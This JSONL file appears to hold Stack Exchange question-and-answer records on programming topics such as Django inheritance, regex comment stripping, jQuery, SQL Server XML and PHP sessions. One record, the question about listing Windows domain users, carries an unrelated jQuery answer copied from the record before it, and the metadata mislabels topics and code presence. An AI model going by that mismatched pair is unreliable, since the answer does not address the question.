{"id": "hf_d9ef7f98f91c", "question": "<p>My boss is bidding on a project to convert a desktop application into one that runs online as a client-server application. The original app has a little more than a quarter of a million lines of C++ (MFC) code that's not cleanly divided between engine and front-end.</p>\n\n<p>I need to come up with estimates of how long it will take and how many people would be needed for such a project. We don't have anyone on staff capable of doing this project, and we don't have any Windows machines, so we'd have to subcontract/outsource.</p>\n\n<p>Alternatively, what arguments can I use to convince my boss that this project is a bad idea?</p>\n", "question_body": "", "answer": "Without a clear division between the engine and the front-end, it's a bad idea. Giving over the code to a contractor or such would require a large amount of training just to understand the code, including parts that are meant to be rewritten as web apps.\nYou would first need to estimate how long it would take to clearly define that boundary, and then you can work out how long the rest of the project would take. That way you can train the contractor etc. on the parts that relate to the presentation tier and the API for the engine without explaining how the engine works (which should be irrelevant to the presentation components).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.049457"}
{"id": "hf_0cb7e8f948ab", "question": "<p>Is there explicit support for Single Table Inheritance in Django? Last I heard, the feature was still under development and debate. </p>\n\n<p>Are there libraries/hacks I can use in the meantime to capture the basic behavior? I have a hierarchy that mixes different objects. The canonical example of a corporation structure with an Employee class, subclasses for types of employees, and a manager_id (parent_id) would be a good approximation of the problem I am solving. </p>\n\n<p>In my case, I would like to represent the idea that an employee can manage other employees while being managed by a different employee. There are not separate classes for Manager and Worker, which makes this hard to spread across tables. Sub-classes would represent types of employees-programmers, accountants, sales, etc and would be independent of who supervises who (OK, I guess it's no longer a typical corporation in some respect). </p>\n", "question_body": "", "answer": "There are currently two forms of inheritance in Django - MTI (model table inheritance) and ABC (abstract base classes).\nI wrote a\ntutorial\non what's going on under the hood.\nYou can also reference the official docs on\nmodel inheritance\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.073163"}
{"id": "hf_b6960e182271", "question": "<p>In Team Foundation Server is there a way to have work items in one project linked to other projects so they show up in the reports in both. We are thinking about keeping release engineering items in their own project and want them linked to the project they are actaully for as well. Is this possible? So for instance I would create the item under release engineering assign it to an engineer and then link it to Product X so it showed up as a work item for Project X as well.</p>\n", "question_body": "", "answer": "Not out of the box as projects are discrete.  However there is nothing to stop you from writing against the API to fulfill this need, although this would take some considerable work.\nNow for the good news.  If you keep your eyes\nhere\n, you may find the answer in time.  As I see cross project reports are planned in\nRosario", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.143328"}
{"id": "hf_d6ce97d24633", "question": "<p>I'm looking for Python code that removes C and C++ comments from a string. (Assume the string contains an entire C source file.)</p>\n\n<p>I realize that I could .match() substrings with a Regex, but that doesn't solve nesting <code>/*</code>, or having a <code>//</code> inside a <code>/* */</code>.</p>\n\n<p>Ideally, I would prefer a non-naive implementation that properly handles awkward cases.</p>\n", "question_body": "", "answer": "C (and C++) comments cannot be nested. Regular expressions work well:\n```\n```\n//.*?\\n|/\\*.*?\\*/\n```\n```\nThis requires the “Single line” flag (\n```\nRe.S\n```\n) because a C comment can span multiple lines.\n```\n```\ndef stripcomments(text):\n    return re.sub('//.*?\\n|/\\*.*?\\*/', '', text, flags=re.S)\n```\n```\nThis code should work.\n/EDIT: Notice that my above code actually makes an assumption about line endings! This code won't work on a Mac text file. However, this can be amended relatively easily:\n```\n```\n//.*?(\\r\\n?|\\n)|/\\*.*?\\*/\n```\n```\nThis regular expression should work on all text files, regardless of their line endings (covers Windows, Unix and Mac line endings).\n/EDIT: MizardX and Brian (in the comments) made a valid remark about the handling of strings. I completely forgot about that because the above regex is plucked from a parsing module that has additional handling for strings. MizardX's solution should work very well but it only handles double-quoted strings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.201078"}
{"id": "hf_11957856405f", "question": "<p>I'm looking at the following code snippet:</p>\n\n<pre><code>my @ret = &lt;someMethod&gt;\nreturn (undef) if( $DB_ERROR );\nreturn (undef) unless ($#ret &gt;= 0);\n</code></pre>\n\n<p>Does <code>$#</code> just give you a count of elements in a array?</p>\n", "question_body": "", "answer": "```\n$#arrayname\n```\ngives you the index of the last element, so if array\n```\n@ret\n```\nhas 2 elements then\n```\n$#ret\n```\nis 1.\nAnd, as noted by Barry Brown, an empty array gives -1.\nTo get the length you can use the array in scalar context:\n```\n```\nprint scalar @ret;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.295262"}
{"id": "hf_f59714ae65e6", "question": "<p>I'm wanting to add a class to the body tag without waiting for the DOM to load, but I'm wanting to know if the following approach would be valid. I'm more concerned with validity than whether the browsers support it for now.</p>\n\n<pre><code>&lt;body&gt;\n  $(\"body\").addClass(\"active\");\n  ...\n&lt;/body&gt;\n</code></pre>\n\n<p>Thanks,\nSteve</p>\n", "question_body": "", "answer": "If the element doesn't exist in the DOM, the search will fail to find it and the action won't be applied.   If you can't do it in the $(document).ready() function, you might want to try putting the code after the element being referenced.  I believe this will work.\n```\n```\n<body>\n   <div id='topStories'></div>\n   <script type='text/javascript'>\n     $('div#topStories').addClass('active');\n   </script>\n</body>\n```\n```\nIf you need to add the class to the body, I would definitely use $(document).ready().", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.346223"}
{"id": "hf_545ac081f491", "question": "<p>How do I get a list of domain user accounts with win32 api?  </p>\n\n<p>In particular, I can't get this list when the computer is not the domain controller.  Instead it is a member of the domain. </p>\n", "question_body": "", "answer": "If the element doesn't exist in the DOM, the search will fail to find it and the action won't be applied.   If you can't do it in the $(document).ready() function, you might want to try putting the code after the element being referenced.  I believe this will work.\n```\n```\n<body>\n   <div id='topStories'></div>\n   <script type='text/javascript'>\n     $('div#topStories').addClass('active');\n   </script>\n</body>\n```\n```\nIf you need to add the class to the body, I would definitely use $(document).ready().", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.370808"}
{"id": "hf_b9826819973b", "question": "<p>I have a string that I need to convert to the equivalent array of bytes in .NET.  </p>\n\n<p>This ought to be easy, but I am having a brain cramp.</p>\n", "question_body": "", "answer": "You need to use an encoding\n(\n```\nSystem.Text.Encoding\n```\n) to tell .NET what you expect as the output. For example, in\nUTF-16 (=\n```\nSystem.Text.Encoding.Unicode\n```\n)\n:\n```\n```\nvar result = System.Text.Encoding.Unicode.GetBytes(text);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.394027"}
{"id": "hf_694d95a6abb3", "question": "<p>For this xml (in a SQL 2005 XML column):   </p>\n\n<pre><code>&lt;doc&gt;\n &lt;a&gt;1&lt;/a&gt;\n &lt;b ba=\"1\" bb=\"2\" bc=\"3\" /&gt;\n &lt;c bd=\"3\"/&gt;\n&lt;doc&gt;\n</code></pre>\n\n<p>I'd like to be able to retrieve the names of the attributes (ba, bb, bc, bd) rather than the values <em>inside SQL Server 2005</em>. Well, XPath certainly allows this with name() but SQL doesn't support that. This is my chief complaint with using XML in SQL; you have to figure out which parts of the XML/Xpath/XQuery spec are in there.  </p>\n\n<p>The only way I can think of to do this is to build a CLR proc that loads the XML into an XML Document (iirc) and runs the XPath to extract the names of the nodes. I'm open to suggestions here. </p>\n", "question_body": "", "answer": "```\n```\nDECLARE @xml as xml\nDECLARE @path as varchar(max)\nDECLARE @index int, @count int\n\nSET @xml = \n'<doc>\n <a>1</a>\n <b ba=\"1\" bb=\"2\" bc=\"3\" />\n <c bd=\"3\"/>\n</doc>'\n\nSELECT @index = 1\n\nSET @count = @xml.query('count(/doc/b/@*)').value('.','int')\n\nWHILE @index <= @count \nBEGIN\n    SELECT  @xml.value('local-name((/doc/b/@*[sql:variable(\"@index\")])[1])', 'varchar(max)')\n    SET @index = @index + 1\nEND\n```\n```\nfor element 'b'\nit returns\nba\nbb\nbc\nYou can build a loop to get attributes for each element in the xml.\nBTW\nThe XML in your sample should be closed at closing doc tag.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.418197"}
{"id": "hf_f64d66df00f3", "question": "<p>I'm also interested in other Symbian SDKs that allow to set their emulator's IMEI.</p>\n", "question_body": "", "answer": "I have never actually tried that but here's my best guess:\nThe emulator doesn't have a proper telephony implementation unless:\nyou link it to an actual phone over infrared/usb/serial. In which case the emulator telephony component will need configuration to use AT commands to pilot the phone (even if the phone isn't a Symbian phone). This allows you to make phone calls, send and receive SMS/MMS but certainly not change the IMEI.\nyou use the SIMTSY module. This is a component that uses configuration files to simulate telephony events. It can pretend to send SMS/MMS, pretend you are receiving a phone call...none of that actually creates any kind of network traffic, you understand. I assume the IMEI is in the configuration file but I don't expect you can properly change it  without restarting the emulator. I have never seen SIMTSY used outside of Symbian itself so I don't know whether it is available to third-party developer. It should be open-sourced with the rest of the operating system within the next 2 years, though.\nThere is also the possibility that the way the SDK itself was built disabled most of the telephony framework for the emulator, using build-time macro. You should check\nhttp://forum.nokia.com", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.440763"}
{"id": "hf_7c550b818a5a", "question": "<p>What is the best way to manage a database connection in a Java servlet?</p>\n\n<p>Currently, I simply open a connection in the <code>init()</code> function, and then close it in <code>destroy()</code>. </p>\n\n<p>However, I am concerned that \"permanently\" holding onto a database connection could be a bad thing. </p>\n\n<p>Is this the correct way to handle this?  If not, what are some better options?</p>\n\n<p>edit: to give a bit more clarification: I have tried simply opening/closing a new connection for each request, but with testing I've seen performance issues due to creating too many connections.</p>\n\n<p>Is there any value in sharing a connection over multiple requests?   The requests for this application are almost all \"read-only\" and come fairly rapidly (although the data requested is fairly small).</p>\n", "question_body": "", "answer": "You should only hold a database connection open for as long as you need it, which dependent on what you're doing is probably within the scope of your\n```\ndoGet/doPost\n```\nmethods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.488616"}
{"id": "hf_21e1f07825df", "question": "<p>As title.  I didn't find one via google, at any rate.</p>\n\n<p>Update: thanks for the links from the two answers; this is very useful, but not what I was after - I am curious to see whether it is possible to query an IRepository backed by memcached (or some other distributed cache), backed by a RDBMS.  I've really no idea how that might work in practise; I don't know very much about the internals of either distributed caches or LINQ providers.</p>\n\n<p>I'm maybe envisaging something like the cache LINQ provider generating cache-keys based on the query automatically (where query could be Expression> or some kind of Specification pattern implementation), and basically can be plumped down inbetween my app and my DB.  Does that sound useful?</p>\n", "question_body": "", "answer": "If you don't mind throwing\nNHibernate\nbetween them, you can use\nLINQ to NHibernate\nto query entities which\ncan be set\nto use\nmemcached\nas their cache.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.512383"}
{"id": "hf_3746c7c41704", "question": "<p>I think the title pretty much says it all... I'm looking to implement an interface similar to the standard OS X sidebar used in all the above mentioned programs, and I'm wondering if anybody has any thoughts as to the easiest way to do it, namely about what view to use for the left hand selection pane. Really I don't think I even need the hierarchical component as seen in the apple apps, I just need a good looking flat list of choices which determine what's shown in the right hand pane.</p>\n\n<p>The obvious start is a vertical split layout view, but beyond that I'm not entirely sure where to go. A collection view with only one column or something like that?</p>\n", "question_body": "", "answer": "I've done a few applications that use a similar setup.\nI generally use an NSSplitView, with a single column NSTableView in the left pane.  Don't forget to disable the headers, and make it display as a \"Source View\" style.\nIf you want the disclosure triangles, then you'll want to use NSOutlineView instead of NSTableView, but at least for the first go, I'd stick to a simple NSTableView.\nA pattern I also use is to make the NSTableView slightly shorter than the NSSplitView, and have buttons at the bottom (add, delete, etc).  I've usually built the program around Core Data, so it's easy to hook up these to methods to create/delete objects, and then bind the NSTableView to the array of objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.559674"}
{"id": "hf_7a1e189f8506", "question": "<p>My HTML is as follows:</p>\n\n<pre><code>&lt;ul id=\"nav\"&gt;\n    &lt;li&gt;&lt;a href=\"./\"&gt;Home&lt;/a&gt;&lt;/li&gt;\n    &lt;li&gt;&lt;a href=\"/About\"&gt;About&lt;/a&gt;&lt;/li&gt;\n    &lt;li&gt;&lt;a href=\"/Contact\"&gt;Contact&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>And my css:</p>\n\n<pre><code>#nav {\n    display: inline;\n}\n</code></pre>\n\n<p>However the whitespace between the li's shows up. I can remove the whitespace by collapsing them like so:</p>\n\n<pre><code>&lt;ul id=\"nav\"&gt;\n    &lt;li&gt;&lt;a href=\"./\"&gt;Home&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=\"/About\"&gt;About&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=\"/Contact\"&gt;Contact&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>But this is being maintained largely by hand and I was wondering if there was a cleaner way of doing it.</p>\n", "question_body": "", "answer": "Several options here, first I'll give you my normal practice when creating inline lists:\n```\n```\n<ul id=\"navigation\">\n  <li><a href=\"#\" title=\"\">Home</a></li>\n  <li><a href=\"#\" title=\"\">Home</a></li>\n  <li><a href=\"#\" title=\"\">Home</a></li>\n</ul>\n```\n```\nThen the CSS to make it function as you intend:\n```\n```\n#navigation li \n  {\n    display: inline;\n    list-style: none;\n  }\n#navigation li a, #navigation li a:link, #navigation li a:visited\n  {\n    display: block;\n    padding: 2px 5px 2px 5px;\n    float: left;\n    margin: 0 5px 0 0;\n  }\n```\n```\nObviously I left out the hover and active sets, but this creates a nice block level navigation, and is a very common method for doing this while still keeping with standards. /* remember to tweak to your liking, add color to the background, et cetera */\nIf you would like to keep it just with text and just inline, no block elements I believe you'd want to add:\n```\n```\nmargin: 0 5px 0 0; /* that's, top 0, right 5px, bottom 0, left 0 */\n```\n```\nRealizing you would like to REMOVE the whitespace, just adjust the margins/padding accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.583404"}
{"id": "hf_cbae4f1198ae", "question": "<p>I want to write a program that would print every combination of a set of variables to a text file, creating a word list. Each answer should be written on a separate line and write all of the results for 1 digit, 2 digits, and 3 digits to a single text file.</p>\n\n<p>Is there a simple way I can write a python program that can accomplish this? Here is an example of the output I am expecting when printing all the binary number combinations possible for 1, 2, and 3 digits:</p>\n\n<pre><code>Output:\n0  \n1\n\n00  \n01  \n10  \n11\n\n000  \n001  \n010  \n011  \n100  \n101  \n110  \n111\n</code></pre>\n", "question_body": "", "answer": "It shouldn't be too hard in most languages.  Does the following pseudo-code help?\n```\n```\nfor(int i=0; i < 2^digits; i++)\n{\n     WriteLine(ToBinaryString(i));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.630942"}
{"id": "hf_986db3098885", "question": "<p>I just started creating my data-access layer using LinqToSql. Everybody is talking about the cool syntax and I really like Linq in general. </p>\n\n<p>But when I saw how your classes get generated if you drag some tables on the LinqContext I was amazed: So much code which nobody would need?!</p>\n\n<p>So I looked how other people used LinqToSql, for example Rob Connery at his StoreFront Demo.</p>\n\n<p>As I don't like the way that all this code is generated I created my domain layer by hand and used the generated classes as reference. With that solution I'm fine, as I can use the features provided by Linq (dereferred execution, lazy loading, ...) and my domain layer is quite easy to understand.</p>\n\n<p>How are you using LinqToSql?</p>\n", "question_body": "", "answer": "The created classes are not as heavy as it seems. Of course it takes quite a few lines of code, but all in all it is as lightweight as it can be for the features it's providing.\nI used to create my own tables, too, but now instead I just use the LINQtoSQL DataContext. Why? Creating is simpler, the features are better, interoperability works, it is probably even faster than my own stuff (not in every aspect. Usually my own stuff was extremely fast in one thing, but the generic stuff was faster in everything else).\nBut the most important part: it is easier to bring new developers into the LINQ stuff than into my own. There are tutorials, example codes, documentation, everything, which I'd have to create for my code by myself. Same with using my stuff with other technology, like WCF or data binding. There are a lot of pitfalls to be taken care of.\nI learned not to develop myself into a corner the hard way, it looks fast and easy at the start, is a lot more fun than learning how to use the libs, but is a real pain in the a after a few months down the road, usually even for myself.\nAfter some time the novelty of creating my own data containers wears off, and I noticed the pain connected to adding a feature. A feature I would have had for free, if I had used the provided classes.\nNext thing I had to explain my code to some other programmer. Had I used the provided classes, I could have pointed him to some web site to learn about the stuff. But for my classes, I had to train him himself, which took a long time and made it hard to get new people on a project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.653868"}
{"id": "hf_62050a53b221", "question": "<p>I'm a little unsure how the open source licensing stuff works.  If I were to choose a particular open source license, what do you actually have to do to make it applicable to your software?  I would imagine it would be a little more involved than just 'stating' that you're releasing your software under LGPL.  And how does this 'contract' bind legally to your software?</p>\n", "question_body": "", "answer": "It's as simple as deciding to license your software under a particular license.  This is not technically contract law, but copyright law.  As the owner/licenser of your intellectual property (the source and binaries) you may license its distribution anyway you see fit.  Providing a clear disclaimer as to the recipients rights under the license is all that is necessary.  Without a license, whether closed or open, no one has a right to distribute your copyrighted work.  The purpose of all licenses is to grant some of your rights to other parties.\nSee here\nfor more information.  Or for perhaps too much information, check out O'Reilly's\nUnderstanding Open Source and Free Software Licensing\n.\n~ William Riley-Land", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.689533"}
{"id": "hf_4da1f804d5f2", "question": "<p>What are some good jQuery Resources along with some gotchas when using it with ASP.Net?</p>\n", "question_body": "", "answer": "ASP.Net's autogenerated id's make using jQuery's selector syntax somewhat difficult.\nTwo easy ways around this problem:\nSearch for objects using css class instead of id\nYou can weed out the uniqueid garbage with:\n```\n$('[id$=myid]')\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.724715"}
{"id": "hf_d111fe0ff679", "question": "<p>Is there anyway to automatically run <code>javascript:window.print()</code> when the page finishes loading? </p>\n", "question_body": "", "answer": "```\n<body onload=\"window.print()\">\n```\nor\n```\nwindow.onload = function() { window.print(); }\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.747365"}
{"id": "hf_2d299c4b49bc", "question": "<p>Our testers are in the process of evaluating Visual Studio Team System 2008 Test Edition. As they are unfamiliar with the use of Visual Studio, I would like to give them as much help as I can.</p>\n\n<p>I have had a look on Amazon for books on the Test edition of VS.Net, but there is only one VS.Net 2005 test edition book.</p>\n\n<p>Does anyone know of any good books, or online training resources with a particular focus on the features of the Test Edition of Visual Studio Team System 2008?</p>\n", "question_body": "", "answer": "For someone evaluating features who isn't that familiar with Visual Studio, I'd recommend the videos from a few places:\n\"How Do I?\" Videos for Team System\nASP.net's Learn section\nVideo tutorials at TeamSystemRocks.com\nPlenty of videos between those sites on the various VSTS Test Edition features.  Note that many are about VS2005, but the fundamental concepts don't change when moving to 2008.\nOnce they get the basic features, here's a summary of\nWhat's New in VS2008 Test Edition\n.\nSee also:\nVSTS 2008 Test Edition Home\n(BTW, there's a link to a trial VPC w/TFS & VSTS Suite on the right-hand side)\nVisual Studio 2008 Training Kit\n- Not a lot on VSTS in here, but there are a few demos and resources that touch on the Test features, and it's a good general resource to have, anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.771864"}
{"id": "hf_964853ab61f3", "question": "<p>If I import a library to use a method, would it be worth it? Does importing take up a lot of memory?</p>\n", "question_body": "", "answer": "Importing such a module is not likely to cost that much memory that you should refrain from it, though in this case probably a simple hash would be just as good. Something like\n```\n```\nmy %number_for = (\n    jan => 1,\n    feb => 2,\n#etc...\n);\n#...\ndo_something_with($number_for{$month})\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.819866"}
{"id": "hf_5e9232fb41be", "question": "<p>I have the Profile, CCK, and Views2 modules installed on a Drupal 6 site.  I added a string field to the user profile.  I can filter easily on preset values, thru the Views GUI builder, really nicely.  However, I'd like the filter criteria to be dynamically set based on other environment variables (namely the <code>$_SERVER['SERVER_NAME']</code>).</p>\n\n<p>Is there a basic 'How-to-write-a-custom-drupal-views-filter' somewhere out there?  I've been looking thru the documentation, but it's not obvious to my simple mind on how to do it.</p>\n", "question_body": "", "answer": "There is the possibility, having looked at the sort of filters installed for my own site, that filters have to be based on some database field, in which case what you're trying to achieve is not possible.  It appears that the filters provide the WHERE clause to the generated SQL query.\nHaving said all that, if you want to pursue it further, your best bet is to start with a module that already provides filters for Views.  There are filters provided with Views for the Node module; alternatively, you could look at the\naudio module\nwhich also provides some filters.  Additionally, posting to the Drupal forums or support list may turn up another module that will allow you to achieve what you're attempting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.924824"}
{"id": "hf_f1812e33aaef", "question": "<p>I have a few questions about whether or not it would be best to not use indexing.</p>\n\n<p>BACKGROUND:\nMy records have a timestamp attribute, and the records will be inserted in order of their timestamps (i.e., inserted chronologically).</p>\n\n<p>QUESTIONS:</p>\n\n<ol>\n<li><p>If I DON'T use indexing is it typical for the database to insert the records in the order that they were inserted?  </p></li>\n<li><p>If answer to #1 is yes, when I do a \"SELECT .. WHERE timestamp > X\" type query will the database be efficient at it, or will it have to go through every single record since it isn't indexed?  I would assume if there were no index, the database would not \"know\" that the records were inserted in sorted order and could not, therefore, make use of sorted property of the database.  </p></li>\n</ol>\n\n<p>I assume a clustered index would be best for these types of records &amp; their inserts.</p>\n\n<p>Please let me know what you guys think.</p>\n\n<p>Thanks,\njbu</p>\n", "question_body": "", "answer": "In my experience, yes, the database will insert stuff in the chronological order, especially if you never delete anything.  However, it is not guaranteed, and it's a really bad idea to try to rely on behaviour that is not guaranteed.\nAlso, the query planner isn't going to know this fact, so any query you do without an index will cause a full table scan.  Whether that's slower than an indexed query will depend a lot on what sort of data you have, and what percentage of it comes after the \"X\" in your query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.947262"}
{"id": "hf_6002c3be4766", "question": "<pre><code>$fp_src=fopen('file','r');\n\n$filter = stream_filter_prepend($fp_src, 'convert.iconv.ISO-8859-1/UTF-8');\n\nwhile(fread($fp_src,4096)){\n    ++$count;\n    if($count%1000==0) print ftell($fp_src).\"\\n\";\n} \n</code></pre>\n\n<p>When I run this the script ends up consuming ~ 200 MB of RAM after going through just 35MB of the file.  </p>\n\n<p>Running it without the stream_filter zips right through with a constant memory footprint of ~10 MB.</p>\n\n<p>What gives?</p>\n", "question_body": "", "answer": "From what I'm reading\nhere\n, you are not implementing\n```\nstream_filter_prepend()\n```\ncorrectly, although there could be something I misunderstand about the process.\nAls, I'm not totally sure, but I'm willing to bet that this has more to do with the fact that iconv is an expensive process, and less to do with the fact that you're using it as stream filter.\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.970248"}
{"id": "hf_67156a097218", "question": "<pre><code>if(!eregi(\"^([0-9a-z_\\[\\]\\*\\- ])+$\", $subuser))\n    $form-&gt;setError($field, \"* Username not alphanumeric\");\n</code></pre>\n\n<p>Can anybody tell me why it is not allowing characters such as <code>-</code> and <code>*</code>?</p>\n\n<pre><code>if(!eregi(\"^([0-9a-z])+$\", $subuser))\n    $form-&gt;setError($field, \"* Username not alphanumeric\");\n</code></pre>\n\n<p>That is the original piece of code. A friend changed it to the top piece and it will allow a-z and 0-9 but it wont allow the other characters I need it to. Can anyone help me?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "Your regex uses PCRE syntax, so you have to use preg_match() instead of eregi().\nTry this code instead:\n```\n```\nelse if (!preg_match(\"/^([0-9a-z_\\[\\]* -])+$/i\", $subuser)) {\n$form->setError($field, \"* Username not alphanumeric\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:20.993754"}
{"id": "hf_eef00a010158", "question": "<p>I am writing PHP code where I want to pass the session id myself using POST. I don't want a cookie to store the session, as it should get lost when the user gets out of the POST cycle.</p>\n\n<p>PHP automatically sets the cookie where available. I learned it is possible to change this behaviour by setting <code>session.use_cookies</code> to 0 in <code>php.ini</code>. Unfortunately, I don't have access to that file and I also wouldn't want to break the behaviour of other scripts running on the same server.</p>\n\n<p>Is there a way to disable or void the session cookie inside the PHP script?</p>\n\n<p><strong>EDIT:</strong> As the proposed solutions don't work for me, I used $_SESSION = array() at positions in the code where I found the session should be invalidated.</p>\n", "question_body": "", "answer": "Use\nini_set()\n:\n```\n```\nini_set('session.use_cookies', '0');\n```\n```\nOr in your php.ini file:\n```\n```\nsession.use_cookies = 0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.040231"}
